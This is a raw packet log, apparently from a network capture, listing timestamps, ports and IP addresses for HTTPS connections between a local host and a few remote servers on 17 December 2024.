Dec 17, 2024 12:12:28.544066906 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.552105904 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.552146912 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.552212954 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.552237034 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.552268982 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.552278996 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.560615063 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.560658932 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.560713053 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.560719967 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.560789108 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.568495035 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.568536997 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.568592072 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.568598986 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.568620920 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.568645954 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.580065966 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.649092913 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.649390936 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.649457932 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.649993896 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.651381969 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.651586056 CET	443	49764	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.653603077 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.653644085 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.653795958 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.653820992 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.653903961 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.653913975 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.653924942 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.654041052 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.654051065 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.654448986 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.654911995 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.655388117 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.655405045 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.655441999 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.655463934 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.655664921 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.655713081 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.655724049 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.655798912 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.655936003 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.656043053 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.656126976 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.656307936 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.656397104 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.656590939 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.656676054 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.657687902 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.658261061 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.658292055 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.659374952 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.659615040 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.659626007 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.660901070 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.661967039 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.662044048 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.662297964 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.662379980 CET	443	49763	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.662596941 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.662831068 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.704155922 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.704220057 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.704248905 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.704281092 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.704302073 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.704519033 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.712598085 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.712641954 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.712680101 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.712690115 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.712708950 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.712732077 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.720645905 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.720686913 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.720711946 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.720736027 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.720766068 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.720793962 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.725749969 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.725749969 CET	49763	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.725766897 CET	443	49761	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.725836039 CET	49764	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.728981972 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.729026079 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.729058981 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.729068995 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.729109049 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.736689091 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.736735106 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.736766100 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.736814976 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.736850023 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.736871958 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.744091034 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.744136095 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.744184017 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.744193077 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.744225025 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.744245052 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.752530098 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.752573013 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.752609968 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.752618074 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.752650023 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.752659082 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.769205093 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.769244909 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.769278049 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.769287109 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.769316912 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.769328117 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.835069895 CET	49761	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.863359928 CET	443	49762	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.863384962 CET	443	49765	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.863418102 CET	49762	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.863439083 CET	49765	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.867337942 CET	443	49760	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.867368937 CET	443	49759	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.867408991 CET	49760	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.867460012 CET	49759	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.911926031 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.911983013 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.912019968 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.912031889 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.912060022 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.912075043 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.912106991 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.912148952 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.912164927 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.912174940 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.912200928 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.912219048 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.915585995 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.915627003 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.915657997 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.915666103 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.915708065 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.915724039 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.915904045 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.915958881 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.927968025 CET	49738	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:28.927983999 CET	443	49738	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:28.957732916 CET	443	49766	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.958017111 CET	49766	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.958036900 CET	443	49766	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.958244085 CET	443	49767	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.958435059 CET	49767	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.958446980 CET	443	49766	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.958470106 CET	443	49767	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.958849907 CET	49766	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.958980083 CET	443	49766	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.961810112 CET	443	49767	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:28.961895943 CET	49767	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.962254047 CET	49767	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:28.962346077 CET	443	49767	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.022582054 CET	49766	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.092432022 CET	49767	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.092466116 CET	443	49767	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.138345957 CET	443	49753	162.125.67.18	192.168.2.5
Dec 17, 2024 12:12:29.138426065 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:29.138446093 CET	443	49753	162.125.67.18	192.168.2.5
Dec 17, 2024 12:12:29.138472080 CET	443	49753	162.125.67.18	192.168.2.5
Dec 17, 2024 12:12:29.138482094 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:29.138524055 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:29.140134096 CET	49753	443	192.168.2.5	162.125.67.18
Dec 17, 2024 12:12:29.291610956 CET	49767	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.419899940 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:29.419949055 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:29.420142889 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:29.420526028 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:29.420536041 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:29.566914082 CET	443	49769	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.567060947 CET	443	49768	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.568339109 CET	49769	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.568378925 CET	443	49769	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.571610928 CET	443	49769	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.571717024 CET	49769	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.574058056 CET	49768	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.574083090 CET	443	49768	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.575077057 CET	443	49768	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.575135946 CET	49768	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.576375961 CET	49768	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.576436043 CET	443	49768	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.577532053 CET	49769	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.577605963 CET	443	49769	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.621113062 CET	49768	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.621131897 CET	443	49768	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.679819107 CET	49769	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.679877043 CET	443	49769	162.159.61.3	192.168.2.5
Dec 17, 2024 12:12:29.731332064 CET	49768	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:29.788264036 CET	49769	443	192.168.2.5	162.159.61.3
Dec 17, 2024 12:12:30.846853971 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:30.846959114 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:30.846978903 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:30.847100973 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:30.885720015 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:30.885740042 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:30.886101961 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:30.887123108 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:30.927333117 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.846970081 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.846996069 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.847009897 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.847054958 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:31.847068071 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.847085953 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:31.847111940 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:31.961381912 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.961410999 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.961486101 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:31.961502075 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:31.961538076 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:31.961730003 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.004405975 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.008493900 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.008517981 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.008600950 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.008606911 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.008855104 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.352210045 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352221966 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352257967 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352281094 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.352293968 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352329016 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.352345943 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.352619886 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352636099 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352688074 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.352693081 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.352730036 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.353635073 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.353651047 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.353715897 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.353719950 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.353760958 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.354564905 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.354581118 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.354717016 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.354721069 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.354770899 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.354865074 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.374341011 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.374362946 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.374419928 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.374433994 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.374475956 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.374485970 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.482758999 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.482789040 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.482841015 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.482853889 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.482886076 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.482893944 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.501902103 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.501918077 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.501974106 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.501980066 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.502005100 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.502022982 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.521421909 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.521445990 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.521507025 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.521513939 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.521542072 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.521553993 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.539829969 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.539845943 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.539920092 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.539927959 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.539968967 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.559108973 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.559125900 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.559195995 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.559201956 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.559246063 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.579025030 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.579044104 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.579144955 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.579153061 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.579201937 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.596260071 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.596277952 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.596357107 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.596364021 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.596405983 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.616801977 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.616816998 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.616893053 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.616899014 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.616941929 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.633831024 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.633846045 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.633912086 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.633918047 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.633956909 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.653424978 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.653439999 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.653508902 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.653515100 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.653552055 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.669822931 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.669838905 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.669926882 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.669933081 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.669970989 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.681149960 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.681169033 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.681263924 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.681271076 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.681308031 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.692580938 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.692601919 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.692675114 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.692679882 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.692720890 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.702497005 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.702512026 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.702586889 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.702591896 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.702630997 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.712846041 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.712860107 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.712946892 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.712950945 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.712995052 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.722398043 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.722410917 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.722500086 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.722503901 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.722543955 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.728965044 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.728979111 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.729073048 CET	49784	443	192.168.2.5	162.125.69.15
Dec 17, 2024 12:12:32.729078054 CET	443	49784	162.125.69.15	192.168.2.5
Dec 17, 2024 12:12:32.729111910 CET	49784	443	192.168.2.5	162.125.69.15
